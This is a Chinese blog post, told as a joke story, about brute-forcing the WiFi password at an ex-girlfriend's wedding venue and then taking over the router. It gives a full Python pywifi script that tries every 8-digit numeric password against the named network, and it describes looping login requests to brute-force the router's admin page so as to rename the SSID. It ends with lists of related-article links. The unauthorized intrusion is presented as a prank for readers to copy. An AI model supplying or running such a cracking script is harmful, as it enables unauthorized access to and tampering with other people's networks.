在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了


Posted in Python onMay 28, 2021

一、前言

事情是这样的

小编来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

现场的WiFi名称叫:"婚礼第一大厅"

二、python破解WiFi密码

1.安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi
 
Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
 
PS C:\Users\pacer> pip install comtypes
 
Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |????????????????????????????????| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2.生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3.完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()
 
    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

三、连接成功

一段时间后,连接成功。

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

拿到wifi密码之后

四、拿下路由器

1.路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2.路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

3.循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

五、修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

六、故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

WiFi名改好了,告辞~

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

到此这篇关于在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了!的文章就介绍到这了,更多相关Python破解WiFi密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python写的ARP攻击代码实例
Jun 04 Python
Python编程中装饰器的使用示例解析
Jun 20 Python
Python实现获取命令行输出结果的方法
Jun 10 Python
PyQt5每天必学之事件与信号
Apr 20 Python
pandas 实现字典转换成DataFrame的方法
Jul 04 Python
pandas分别写入excel的不同sheet方法
Dec 11 Python
如何使用Python实现斐波那契数列
Jul 02 Python
如何爬取通过ajax加载数据的网站
Aug 15 Python
python 循环数据赋值实例
Dec 02 Python
python初步实现word2vec操作
Jun 09 Python
python单元测试框架pytest的使用示例
Oct 07 Python
Python脚本打包成可执行文件过程解析
Oct 20 Python
pytorch DataLoader的num_workers参数与设置大小详解
May 28 #Python
Flask搭建一个API服务器的步骤
May 28 #Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 #Python
解决Python中的modf()函数取小数部分不准确问题
May 28 #Python
利用Python+OpenCV三步去除水印
python实现自定义日志的具体方法
May 28 #Python
python 爬取京东指定商品评论并进行情感分析
You might like
PHP 变量定义和变量替换的方法
2009/07/30 PHP
PHP中Enum(枚举)用法实例详解
2015/12/07 PHP
将PHP程序中返回的JSON格式数据用gzip压缩输出的方法
2016/03/03 PHP
PHP+MySql+jQuery实现的"顶"和"踩"投票功能
2016/05/21 PHP
php实现带读写分离功能的MySQL类完整实例
2016/07/28 PHP
thinkphp 手机号和用户名同时登录
2017/01/20 PHP
Yii 2.0实现联表查询加搜索分页的方法示例
2017/08/02 PHP
PHP执行linux命令6个函数代码实例
2020/11/24 PHP
避免 showModalDialog 弹出新窗体的原因分析
2010/05/31 Javascript
js中自定义方法实现停留几秒sleep
2014/07/11 Javascript
jQuery选择id属性带有点符号元素的方法
2015/03/17 Javascript
js立即执行函数: (function ( ){})( ) 与 (function ( ){}( )) 有什么区别?
2015/11/18 Javascript
设置jQueryUI DatePicker默认语言为中文
2016/06/04 Javascript
利用AngularJs实现京东首页轮播图效果
2016/09/08 Javascript
js实现瀑布流效果(自动生成新的内容)
2017/03/16 Javascript
解决bootstrap中使用modal加载kindeditor时弹出层文本框不能输入的问题
2017/06/05 Javascript
vue+node实现图片上传及预览的示例方法
2018/11/22 Javascript
ES6知识点整理之对象解构赋值应用示例
2019/04/17 Javascript
用Vue.js方法创建模板并使用多个模板合成
2019/06/28 Javascript
JS实现打字游戏
2019/12/17 Javascript
python改变日志(logging)存放位置的示例
2014/03/27 Python
Python机器学习库scikit-learn安装与基本使用教程
2018/06/25 Python
用Python从0开始实现一个中文拼音输入法的思路详解
2019/07/20 Python
在python中利用dict转json按输入顺序输出内容方式
2020/02/27 Python
美国职棒大联盟官方网上商店:MLBShop.com
2017/11/12 全球购物
施华洛世奇波兰官网:SWAROVSKI波兰
2019/06/18 全球购物
构造方法和其他方法的区别
2016/04/26 面试题
院药学专业个人求职信
2013/09/21 职场文书
高中运动会入场词
2014/02/14 职场文书
社会治安综合治理责任书
2015/01/29 职场文书
清洁工个人总结
2015/03/04 职场文书
幼儿园教师师德承诺书
2015/04/28 职场文书
地道战观后感
2015/06/04 职场文书
详解Python魔法方法之描述符类
2021/05/26 Python
使用qt quick-ListView仿微信好友列表和聊天列表的示例代码
2021/06/13 Python
MySQL批量更新不同表中的数据
2022/05/11 MySQL